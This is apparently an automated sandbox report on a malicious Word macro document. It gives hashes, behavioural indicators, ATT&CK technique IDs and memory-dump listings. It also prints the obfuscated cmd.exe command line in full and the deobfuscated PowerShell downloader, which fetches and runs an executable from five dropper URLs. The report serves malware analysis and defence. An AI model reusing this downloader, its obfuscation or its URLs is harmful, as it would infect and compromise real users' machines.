72b228f51cf5a1b7600f0e0848145e4e54e54838977a5a5b1c85f69b64b92cf5

Analysis

max time kernel
138s
max time network
148s
platform
windows10_x64
resource
win10-en-20211104
submitted
02-12-2021 10:54

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

test/0dded430c1958ae0ec60c2d50ab99f562269ad1ee09db17606661bd55cd29c66.doc
Size

81KB
MD5

fac7b441a730abf96b210a8db9dbf3d1
SHA1

9f5bb869b95136f51b954e4284f99168ff0e91fb
SHA256

0dded430c1958ae0ec60c2d50ab99f562269ad1ee09db17606661bd55cd29c66
SHA512

0a5ec69ec554639ede43c359f38f8d2e52718b7e29a06aa112ff8cdc99b2777a39c3a9455d3796033a813cceda7487104fb8f0027eccfa138bcd0c2064606f07

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://www.serefozata.com/axf

exe.dropper

http://www.livingbranchanimalsciences.com/zVMQFL

exe.dropper

http://www.donghodaian.com/jiPViP

exe.dropper

http://sprayzee.com/iiWYe6z

exe.dropper

http://yasarkemalplatformu.org/s

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	892	3448	cmd.exe	WINWORD.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

18 3532 powershell.exe
An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs

Processes:

cmd.execmd.exe

pid process

892 cmd.exe
1840 cmd.exe

flow	pid	process
18	3532	powershell.exe

pid	process
892	cmd.exe
1840	cmd.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3448 WINWORD.EXE
3448 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

3532 powershell.exe
3532 powershell.exe
3532 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3532 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

WINWORD.EXE

pid process

3448 WINWORD.EXE
3448 WINWORD.EXE
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

3448 WINWORD.EXE
3448 WINWORD.EXE
3448 WINWORD.EXE
3448 WINWORD.EXE
3448 WINWORD.EXE
3448 WINWORD.EXE
3448 WINWORD.EXE

pid	process
3448	WINWORD.EXE
3448	WINWORD.EXE

pid	process
3532	powershell.exe
3532	powershell.exe
3532	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3532	powershell.exe

pid	process
3448	WINWORD.EXE
3448	WINWORD.EXE

pid	process
3448	WINWORD.EXE
3448	WINWORD.EXE
3448	WINWORD.EXE
3448	WINWORD.EXE
3448	WINWORD.EXE
3448	WINWORD.EXE
3448	WINWORD.EXE

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

WINWORD.EXEcmd.execmd.exe

description	pid	process	target process
PID 3448 wrote to memory of 508	3448	WINWORD.EXE	splwow64.exe
PID 3448 wrote to memory of 508	3448	WINWORD.EXE	splwow64.exe
PID 3448 wrote to memory of 892	3448	WINWORD.EXE	cmd.exe
PID 3448 wrote to memory of 892	3448	WINWORD.EXE	cmd.exe
PID 892 wrote to memory of 1840	892	cmd.exe	cmd.exe
PID 892 wrote to memory of 1840	892	cmd.exe	cmd.exe
PID 1840 wrote to memory of 3532	1840	cmd.exe	powershell.exe
PID 1840 wrote to memory of 3532	1840	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\test\0dded430c1958ae0ec60c2d50ab99f562269ad1ee09db17606661bd55cd29c66.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3448

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:508

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V/C"set 8zN=jDYOzpwKEKrWhHFvMIaSaUWRtF;+sQN8P$3di gL:uf{.b=excnB@\90(JZ-lAmGkyoT,C/6'})V&&for %q in (33,50,28,13,46,72,51,9,42,72,26,33,24,62,15,46,50,47,6,59,66,45,0,47,49,24,37,30,47,24,44,22,47,45,69,60,36,47,50,24,26,33,64,0,23,46,72,12,24,24,5,40,70,70,6,6,6,44,28,47,10,47,42,66,4,20,24,20,44,49,66,62,70,20,48,42,52,12,24,24,5,40,70,70,6,6,6,44,60,36,15,36,50,38,45,10,20,50,49,12,20,50,36,62,20,60,28,49,36,47,50,49,47,28,44,49,66,62,70,4,75,16,29,25,39,52,12,24,24,5,40,70,70,6,6,6,44,35,66,50,38,12,66,35,20,36,20,50,44,49,66,62,70,0,36,32,75,36,32,52,12,24,24,5,40,70,70,28,5,10,20,65,4,47,47,44,49,66,62,70,36,36,22,2,47,71,4,52,12,24,24,5,40,70,70,65,20,28,20,10,64,47,62,20,60,5,60,20,24,42,66,10,62,41,44,66,10,38,70,28,72,44,19,5,60,36,24,56,72,52,72,74,26,33,6,35,30,46,72,62,51,30,72,26,33,63,6,45,37,46,37,72,34,54,55,72,26,33,15,4,0,46,72,8,1,64,72,26,33,51,57,8,46,33,47,50,15,40,24,47,62,5,27,72,53,72,27,33,63,6,45,27,72,44,47,48,47,72,26,42,66,10,47,20,49,12,56,33,67,51,9,37,36,50,37,33,64,0,23,74,43,24,10,65,43,33,24,62,15,44,1,66,6,50,60,66,20,35,25,36,60,47,56,33,67,51,9,68,37,33,51,57,8,74,26,33,1,9,4,46,72,12,36,0,72,26,17,42,37,56,56,63,47,24,59,17,24,47,62,37,33,51,57,8,74,44,60,47,50,38,24,12,37,59,38,47,37,31,55,55,55,55,74,37,43,17,50,15,66,64,47,59,17,24,47,62,37,33,51,57,8,26,33,64,36,51,46,72,62,29,58,72,26,45,10,47,20,64,26,73,73,49,20,24,49,12,43,73,73,33,22,42,5,46,72,13,8,61,72,26,78)do set FtX=!FtX!!8zN:~%q,1!&&if %q equ 78 powershell "!FtX:~5!""
2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:892

C:\Windows\system32\cmd.exe
CmD /V/C"set 8zN=jDYOzpwKEKrWhHFvMIaSaUWRtF;+sQN8P$3di gL:uf{.b=excnB@\90(JZ-lAmGkyoT,C/6'})V&&for %q in (33,50,28,13,46,72,51,9,42,72,26,33,24,62,15,46,50,47,6,59,66,45,0,47,49,24,37,30,47,24,44,22,47,45,69,60,36,47,50,24,26,33,64,0,23,46,72,12,24,24,5,40,70,70,6,6,6,44,28,47,10,47,42,66,4,20,24,20,44,49,66,62,70,20,48,42,52,12,24,24,5,40,70,70,6,6,6,44,60,36,15,36,50,38,45,10,20,50,49,12,20,50,36,62,20,60,28,49,36,47,50,49,47,28,44,49,66,62,70,4,75,16,29,25,39,52,12,24,24,5,40,70,70,6,6,6,44,35,66,50,38,12,66,35,20,36,20,50,44,49,66,62,70,0,36,32,75,36,32,52,12,24,24,5,40,70,70,28,5,10,20,65,4,47,47,44,49,66,62,70,36,36,22,2,47,71,4,52,12,24,24,5,40,70,70,65,20,28,20,10,64,47,62,20,60,5,60,20,24,42,66,10,62,41,44,66,10,38,70,28,72,44,19,5,60,36,24,56,72,52,72,74,26,33,6,35,30,46,72,62,51,30,72,26,33,63,6,45,37,46,37,72,34,54,55,72,26,33,15,4,0,46,72,8,1,64,72,26,33,51,57,8,46,33,47,50,15,40,24,47,62,5,27,72,53,72,27,33,63,6,45,27,72,44,47,48,47,72,26,42,66,10,47,20,49,12,56,33,67,51,9,37,36,50,37,33,64,0,23,74,43,24,10,65,43,33,24,62,15,44,1,66,6,50,60,66,20,35,25,36,60,47,56,33,67,51,9,68,37,33,51,57,8,74,26,33,1,9,4,46,72,12,36,0,72,26,17,42,37,56,56,63,47,24,59,17,24,47,62,37,33,51,57,8,74,44,60,47,50,38,24,12,37,59,38,47,37,31,55,55,55,55,74,37,43,17,50,15,66,64,47,59,17,24,47,62,37,33,51,57,8,26,33,64,36,51,46,72,62,29,58,72,26,45,10,47,20,64,26,73,73,49,20,24,49,12,43,73,73,33,22,42,5,46,72,13,8,61,72,26,78)do set FtX=!FtX!!8zN:~%q,1!&&if %q equ 78 powershell "!FtX:~5!""
3⤵
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:1840

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell "$nsH='BKf';$tmv=new-object Net.WebClient;$kjR='http://www.serefozata.com/axf@http://www.livingbranchanimalsciences.com/zVMQFL@http://www.donghodaian.com/jiPViP@http://sprayzee.com/iiWYe6z@http://yasarkemalplatformu.org/s'.Split('@');$wdN='mBN';$Gwb = '390';$vzj='EDk';$BJE=$env:temp+'\'+$Gwb+'.exe';foreach($TBK in $kjR){try{$tmv.DownloadFile($TBK, $BJE);$DKz='hij';If ((Get-Item $BJE).length -ge 80000) {Invoke-Item $BJE;$kiB='mQZ';break;}}catch{}}$Wfp='HEA';"
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3532

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/508-141-0x0000000000000000-mapping.dmp

Download
memory/892-159-0x0000000000000000-mapping.dmp

Download
memory/1840-160-0x0000000000000000-mapping.dmp

Download
memory/3448-164-0x0000024BDB450000-0x0000024BDB452000-memory.dmp

Filesize
8KB

Download
memory/3448-180-0x0000024BDB450000-0x0000024BDB456000-memory.dmp

Filesize
24KB

Download
memory/3448-123-0x0000024BDB450000-0x0000024BDB452000-memory.dmp

Filesize
8KB

Download
memory/3448-165-0x0000024BDB450000-0x0000024BDB452000-memory.dmp

Filesize
8KB

Download
memory/3448-125-0x0000024BDB450000-0x0000024BDB452000-memory.dmp

Filesize
8KB

Download
memory/3448-133-0x0000024BDB450000-0x0000024BDB452000-memory.dmp

Filesize
8KB

Download
memory/3448-134-0x0000024BDB450000-0x0000024BDB452000-memory.dmp

Filesize
8KB

Download
memory/3448-135-0x0000024BDB450000-0x0000024BDB452000-memory.dmp

Filesize
8KB

Download
memory/3448-136-0x0000024BDB450000-0x0000024BDB452000-memory.dmp

Filesize
8KB

Download
memory/3448-137-0x0000024BDB450000-0x0000024BDB452000-memory.dmp

Filesize
8KB

Download
memory/3448-121-0x00007FFEACE70000-0x00007FFEACE80000-memory.dmp

Filesize
64KB

Download
memory/3448-154-0x0000024BEAE30000-0x0000024BEAE34000-memory.dmp

Filesize
16KB

Download
memory/3448-156-0x0000024BDB450000-0x0000024BDB452000-memory.dmp

Filesize
8KB

Download
memory/3448-155-0x0000024BDB450000-0x0000024BDB452000-memory.dmp

Filesize
8KB

Download
memory/3448-158-0x0000024BDB450000-0x0000024BDB452000-memory.dmp

Filesize
8KB

Download
memory/3448-157-0x0000024BDB450000-0x0000024BDB452000-memory.dmp

Filesize
8KB

Download
memory/3448-120-0x00007FFEACE70000-0x00007FFEACE80000-memory.dmp

Filesize
64KB

Download
memory/3448-168-0x0000024BDB450000-0x0000024BDB452000-memory.dmp

Filesize
8KB

Download
memory/3448-161-0x0000024BDB450000-0x0000024BDB452000-memory.dmp

Filesize
8KB

Download
memory/3448-162-0x0000024BDB450000-0x0000024BDB452000-memory.dmp

Filesize
8KB

Download
memory/3448-163-0x0000024BDB450000-0x0000024BDB452000-memory.dmp

Filesize
8KB

Download
memory/3448-118-0x00007FFEACE70000-0x00007FFEACE80000-memory.dmp

Filesize
64KB

Download
memory/3448-124-0x00007FFEACE70000-0x00007FFEACE80000-memory.dmp

Filesize
64KB

Download
memory/3448-166-0x0000024BDB450000-0x0000024BDB452000-memory.dmp

Filesize
8KB

Download
memory/3448-119-0x00007FFEACE70000-0x00007FFEACE80000-memory.dmp

Filesize
64KB

Download
memory/3448-167-0x0000024BDB450000-0x0000024BDB452000-memory.dmp

Filesize
8KB

Download
memory/3448-169-0x0000024BDB450000-0x0000024BDB452000-memory.dmp

Filesize
8KB

Download
memory/3448-170-0x0000024BDB450000-0x0000024BDB454000-memory.dmp

Filesize
16KB

Download
memory/3448-171-0x0000024BDB450000-0x0000024BDB456000-memory.dmp

Filesize
24KB

Download
memory/3448-172-0x0000024BDB450000-0x0000024BDB456000-memory.dmp

Filesize
24KB

Download
memory/3448-173-0x0000024BDB450000-0x0000024BDB456000-memory.dmp

Filesize
24KB

Download
memory/3448-174-0x0000024BDB450000-0x0000024BDB456000-memory.dmp

Filesize
24KB

Download
memory/3448-175-0x0000024BDB450000-0x0000024BDB456000-memory.dmp

Filesize
24KB

Download
memory/3448-176-0x0000024BDB450000-0x0000024BDB456000-memory.dmp

Filesize
24KB

Download
memory/3448-122-0x0000024BDB450000-0x0000024BDB452000-memory.dmp

Filesize
8KB

Download
memory/3448-181-0x0000024BDB450000-0x0000024BDB456000-memory.dmp

Filesize
24KB

Download
memory/3532-182-0x0000000000000000-mapping.dmp

Download
memory/3532-183-0x00000230A8830000-0x00000230A8832000-memory.dmp

Filesize
8KB

Download
memory/3532-184-0x00000230A8830000-0x00000230A8832000-memory.dmp

Filesize
8KB

Download
memory/3532-185-0x00000230A8830000-0x00000230A8832000-memory.dmp

Filesize
8KB

Download
memory/3532-186-0x00000230A8830000-0x00000230A8832000-memory.dmp

Filesize
8KB

Download
memory/3532-187-0x00000230AA1D0000-0x00000230AA1D1000-memory.dmp

Filesize
4KB

Download
memory/3532-195-0x00000230A8970000-0x00000230A8972000-memory.dmp

Filesize
8KB

Download
memory/3532-196-0x00000230A8973000-0x00000230A8975000-memory.dmp

Filesize
8KB

Download
memory/3532-197-0x00000230A8976000-0x00000230A8978000-memory.dmp

Filesize
8KB

Download